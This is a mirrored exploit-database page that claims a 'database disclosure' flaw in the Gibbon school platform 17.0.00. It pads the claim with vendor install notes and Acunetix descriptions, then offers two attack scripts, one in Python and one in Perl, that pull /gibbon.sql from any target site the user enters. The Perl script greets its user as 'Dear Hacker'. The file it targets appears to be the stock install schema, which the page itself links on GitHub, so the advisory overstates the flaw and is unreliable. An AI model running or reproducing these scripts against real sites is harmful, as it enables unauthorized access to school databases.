Gibbonedu The Flexible School Platform 17.0.00 Database Disclosure - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1567025 漏洞类型
发布时间 2019-04-12 更新时间 2019-04-12
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019040094
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###########################################################################

# Exploit Title : Gibbonedu The Flexible School Platform 17.0.00 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/04/2019
# Vendor Homepage : gibbonedu.org
# Software Download Link : gibbonedu.org/download/
github.com/GibbonEdu/core/archive/master.zip
github.com/GibbonEdu/core/archive/v17.0.00.zip
# Software Information Link : gibbonedu.org/features/
docs.gibbonedu.org/administrators/getting-started/installing-gibbon/
docs.gibbonedu.org
github.com/GibbonEdu/core
# Software Version : 17.0.00
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
Created by teachers, Gibbon is the school platform which solves real problems encountered 

by educators every day.

Being free, open source and flexible Gibbon can morph to meet the needs of

 a huge range of schools.

Gibbon is a flexible, open source school management platform designed to make 

life better for teachers, students, parents and leaders.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

* It looks like this file contains a database backup/dump. 

Acunetix inferred this filename from the domain name. A database backup contains a record of the

 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 

A database backup is most often used for backing up a database so that its contents can be restored 

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 

to the web server. As a workaround, you could restrict access to this file.

INSTALLING GIBBON
***********************
Server Requirements
********************
Apache 2
PHP 7.0 or above (with PDO, gettext, CURL. Recommended to turn display_errors off.)
MySQL 5 (collation set to utf8_general_ci)

Manual Installation :
*******************
After download and unzipping:
Copy all files to your server, choosing either the root directory or a sub-folder within it.
Navigate your browser to the folder on your server where Gibbon has been located.
Follow the on-screen instructions in Gibbon’s new installer.
Check out the Getting Started With Gibbon page for more information.
Note: If you want to help test and develop Gibbon, you can select the Cutting Edge 
Code option in the installer. This allows you to run the latest code from our GitHub repo. 
This is not recommended for production environments.

Post-Install & Server Config
**************************
Set permissions of all Gibbon files so they are not publicly writeable (e.g. chmod -Rv 755).
Create folder /uploads and set file permissions for to allow writing by web server 
(avoid chmod 777 for security reasons).
To improve security and reliability, magic_quotes_gpc should be turned off in php.ini. 
This is supposed to be deprecated in PHP 5.3, but experience shows sometimes 
it is better to turn it off anyway.
Turn PHP register_globals off. On shared host, use .htaccess php_flag register_globals off to do this
Set PHP to allow <? as well as <?php. Turn short_open_tag on. (This is not required for
 running the Core as of v8.0.00 or greater. Update your additional modules to the latest version.)
Turn folder browsing off. On shared host, use .htaccess Options -Indexes
Set PHP’s max_file_uploads to at least the number of students in a class.
Set PHP’s error to be error_reporting = E_ALL & ~E_NOTICE or less aggressive
Set PHP to allow URLs as files (otherwise Calendar overlay in TT will not work). allow_url_fopen=On
Set PHP’s max_input_vars setting to 5,000 (otherwise Manage Permissions breaks)
On systems that use selinux make sure to run setsebool -P 
httpd_can_sendmail 1 to enable Gibbon to send mail.

###########################################################################

File :
******
/gibbon.sql

Information :
*************
-- phpMyAdmin SQL Dump
-- version 4.7.7
-- phpmyadmin.net
--
-- Host: localhost:3306
-- Server version: 5.6.38
-- PHP Version: 7.2.1
-- Database: `gibbon`

raw.githubusercontent.com/GibbonEdu/core/master/gibbon.sql

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/gibbon.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Gibbonedu The Flexible School Platform 17.0.00 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="gibbon.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/gibbon.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/gibbon.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################